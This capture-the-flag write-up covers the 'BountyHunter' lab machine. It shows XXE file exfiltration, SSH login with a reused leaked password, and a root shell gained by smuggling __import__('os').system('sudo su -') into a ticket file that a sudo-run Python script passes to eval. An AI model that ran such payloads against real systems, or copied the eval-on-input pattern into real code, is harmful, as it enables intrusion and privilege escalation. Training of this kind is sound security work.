BountyHunter

This was a relatively easy box. The pre-exploit included exfiltration of source code files using XML external entities with some PHP filtering. This then returned some credentials which could be used to get a remote shell through SSH. For privilege escalation, a custom Python script which could be run with elevated privileges was used. While it was not possible to modify the script code directly, it took a file with a very specific format as its input and fed some of the file contents into an eval-statement. By crafting a special input file and feeding it to the Python script, we could grant ourselves administrative privileges.

Port Scan

Nmap scan report for 10.10.11.100
Host is up (0.039s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
|   256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_  256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Enumeration

The first thing to look at on this box is the web application on port 80, as the SSH implementation uses a recent version and is unlikely to contain a viable attack vector.

When opening the website in the browser, most of it is not really interesting. There is a contact form further down, which does not seem to contain any obvious attack surfaces. However, upon navigating to Portal, we are redirected to /portal.php, from where we are again redirected to /log_submit.php, which seems to be a bug bounty tracking system.

Foothold

If you find an endpoint in a web application which seems very poorly designed compared to the rest of the application, such as this bounty tracker, it’s often an indicator that the developer did not really put a lot of effort into it. These are places in an application which were often badly coded and are therefore more likely to contain some vulnerabilities.

So let us see what this actually does.

Looks like, as of now, it’s not really doing anything meaningful as the database which it is supposed to store data in has not been set up yet. BurpSuite can be used to intercept this request.

Looks like all the request data is transmitted in base64 encoding. Luckily, BurpSuite has a built-in Inspector functionality, which we can use to decode it.

Looks like the data is being sent to the back-end in the XML format. Wherever XML is transmitted, it makes sense to check for XML External Entities (XXE). So, let us modify the request to see if we can read some files on the server.

Success! Modifying the XML data as highlighted in red allows us to read the /etc/passwd file.

However, this does not really get us any further (except we learn that there is a user with the username development). Furthermore, we do not seem to have the ability to exfiltrate any other files. This is bad, because there are others which may be interesting to us, such as db.php, which seems to handle the database connection and might therefore contain access credentials. This file was found by gobuster. It is always a good idea to have some automated scans such as directory fuzzing, port scans (maybe UDP) or vulnerability scans running in the background while you are enumerating.

So, there seems to be some filtering process happening to prevent data exfiltration. However, we can use PHP filtering to base64-encode the file which we want to read. So, let’s try using this to exfiltrate db.php. I am assuming that it is located at the standard web-root path for most Linux distributions, which is /var/www/html.

We receive some encoded output. Let’s see what it says using the inspector.

And we receive some credentials for the database: admin:m19RoAU0hP41A1sTsq6K.

Remember that users are often lazy and tend to reuse the same password for multiple different services. So, we can try using SSH to connect to the machine using the username development which we found earlier, and the database password m19RoAU0hP41A1sTsq6K.

$ ssh development@10.10.11.100
development@10.10.11.100's password:
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed 15 Sep 2021 09:27:17 PM UTC

  System load:           0.0
  Usage of /:            23.6% of 6.83GB
  Memory usage:          13%
  Swap usage:            0%
  Processes:             215
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.100
  IPv6 address for eth0: dead:beef::250:56ff:feb9:7f4c


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Wed Jul 21 12:04:13 2021 from 10.10.14.8
development@bountyhunter:~$ id
uid=1000(development) gid=1000(development) groups=1000(development)
development@bountyhunter:~$

This gives us low-privilege access to the machine. The final step now is to try to find a way to gain administrative privileges.

Privilege Escalation

One of the first things I always like to do after gaining foothold on a Linux target is running sudo -l to see if my user has been assigned any non-standard privileges.

development@bountyhunter:~$ sudo -l
Matching Defaults entries for development on bountyhunter:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User development may run the following commands on bountyhunter:
    (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py

Looks like we can run the Python script called ticketValidator.py as root. Here is the script code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.

def load_file(loc):
    if loc.endswith(".md"):
        return open(loc, 'r')
    else:
        print("Wrong file type.")
        exit()

def evaluate(ticketFile):
    #Evaluates a ticket to check for ireggularities.
    code_line = None
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
            continue
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
            continue

        if x.startswith("__Ticket Code:__"):
            code_line = i+1
            continue

        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                else:
                    return False
    return False

def main():
    fileName = input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    #DEBUG print(ticket)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
    else:
        print("Invalid ticket.")
    ticket.close

main()

So, this script takes as its input a markdown file, and then checks it for various properties to determine its validity. Unfortunately, we don’t have write permissions to the script file. The interesting thing here is the eval-statement in line 34. This function executes any Python code passed into it.

But in order to get there, we must first create a valid ticket file. So, let us create a file called ticket.md in the /tmp folder and make sure it has the format specified by the script.

The evaluate-function starting on line 11 is what checks the ticket file for validity. Stepping through the various checks, we see that it loops over the lines in the ticket. The first line of the ticket must be # Skytrain Inc for code execution to continue. Then, the second line must be ## Ticket to <something>, and the third line __Ticket Code:__<something>.

The fourth and final line is starting to be evaluated in line 29. This is the block we are most interested in as it contains our target: the eval in line 34.

Let us deconstruct what the script is looking for here. After the initial ** that the line has to start with, the script expects a number followed by a + sign. This number (the variable ticketCode) must be congruent to 4 modulo 7 (\(x\mod 7=4\)). I am using the number 25 here, which fulfils the requirement. But any number with a remainder of 4 when divided by 7 would work.

Then, everything following the ** in the beginning of the line is evaluated. The intended aim of this is to sum up two numbers and check if the result is \(> 100\). But really, all Python code in it is evaluated, so we can just use the and-keyword to append any malicious code we like. At this point, we have basically infinite possibilities for getting an administrative shell. But I think the simplest way is to inline-import the os library and use sudo su - to upgrade the shell we already have.

So, here’s the full ticket.md file:

# Skytrain Inc
## Ticket to John
__Ticket Code:__500
**25+2 and __import__('os').system('sudo su -')**

By the way, you may think that the number evaluated at the beginning must be larger than 100 because there is a check for this. But actually, it really doesn’t matter anymore whether the ticket is evaluated or not, since we already have our shell at this point.

So, let’s run it:

development@bountyhunter:~$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
/tmp/ticket.md
Destination: John
root@bountyhunter:~# id
uid=0(root) gid=0(root) groups=0(root)
root@bountyhunter:~#

And that’s it. We now have full administrative control over our target.